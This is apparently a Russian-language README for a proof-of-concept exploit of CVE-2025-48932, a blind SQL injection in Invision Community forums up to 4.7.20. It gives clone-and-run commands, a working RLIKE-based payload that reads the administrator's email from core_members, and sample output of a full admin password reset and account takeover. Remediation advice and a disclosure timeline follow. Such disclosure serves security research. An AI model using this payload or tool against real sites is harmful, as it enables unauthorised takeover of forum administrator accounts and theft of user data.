
Эксплойт proof-of-concept для CVE-2025-48932, SQL-инъекция в Invision Community <= 4.7.20. Извлекает учётные данные администратора и сбрасывает пароли через blind SQLi. Только для авторизованного тестирования.
Эксплойт с доказательством концепции, демонстрирующий уязвимость SQL-инъекции в Invision Community версий <= 4.7.20.
Данный инструмент предоставляется ТОЛЬКО для образовательных целей и авторизованного тестирования безопасности.
CVE ID: CVE-2025-48932
Серьёзность: Высокая
Оценка CVSS: TBD
Затронутые версии: Invision Community 4.x до версии 4.7.21
Уязвимость существует в скрипте /applications/calendar/modules/front/calendar/view.php. Пользовательский ввод, передаваемый через параметр запроса location в методе IPS\calendar\modules\front\calendar\view::search(), не фильтруется должным образом перед использованием в SQL-запросах.
Это позволяет удалённым неаутентифицированным злоумышленникам:
Условия эксплуатации:
Примечание: Хотя SQL-инъекции в Invision Community 4.x версий < 4.7.18 могли приводить к захвату учётных записей администратора и удалённому выполнению кода (RCE) путём сброса пароля администратора, версия 4.7.18 ввела новый ключ шифрования в механизм сброса пароля, что усложнило этот вектор атаки.
Клонируйте репозиторий:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
Установите зависимости:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
| Аргумент | Описание | Обязательный |
|---|---|---|
-u, --url | Базовый URL целевой Invision Community | Да |
-v, --verbose | Включить подробный вывод для отладки | Нет |
-h, --help | Показать справку и выйти | Нет |
==================================================
Эксплойт SQL-инъекции в Invision Community <= 4.7.20
CVE-2025-48932
==================================================
Цель: http://example.com/forum/
==================================================
[*] Получение CSRF-токена...
[+] CSRF-токен найден: abc123def456...
[*] Шаг 1: Извлечение email-адреса администратора...
[*] Извлечение данных: [email protected]
[+] Email администратора: [email protected]
[!] Шаг 2: Требуется ручное действие!
Пожалуйста, выполните следующие шаги:
1. Перейдите по адресу: http://example.com/forum/index.php?/lostpassword/
2. Запросите сброс пароля, используя email: [email protected]
3. Нажмите ENTER, когда закончите...
[*] Шаг 3: Извлечение ключа проверки сброса пароля...
[*] Извлечение данных: xyz789abc123...
[+] Ключ сброса: xyz789abc123...
[*] Шаг 4: Сброс пароля администратора...
==================================================
[+] ЭКСПЛУАТАЦИЯ УСПЕШНА!
==================================================
Учётные данные администратора:
Email: [email protected]
Пароль: Pwned1721234567
Теперь вы можете войти по адресу: http://example.com/forum/index.php?/login/
Эксплойт работает в четыре основных этапа:
Скрипт сначала получает CSRF-токен с целевого сайта, который необходим для последующих запросов.
Используя алгоритм бинарного поиска, эксплойт извлекает данные из базы данных посимвольно:
RLIKE с шаблонами regex для определения условий true/falseЗапрашивает таблицу core_members для извлечения email-адреса администратора.
Точка инъекции:
parameter location → calendar/view.php → метод search()
Пример полезной нагрузки:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
Метод эксплуатации: Булева слепая SQL-инъекция с использованием бинарного поиска для эффективного извлечения данных.
Немедленные действия:
Практики безопасного программирования:
Пример безопасного кода:
// Уязвимый код
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Безопасный код
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| Дата | Событие |
|---|---|
| 16 мая 2025 г. | Уведомление вендора |
| 27 мая 2025 г. | Выпуск версии 4.7.21 |
| 28 мая 2025 г. | Запрошен CVE-идентификатор |
| 28 мая 2025 г. | Назначен CVE-2025-48932 |
| 23 июля 2025 г. | Публичное раскрытие |
Разработчик:
Примечание: Это независимая реализация, основанная на публично раскрытой информации об уязвимости (CVE-2025-48932)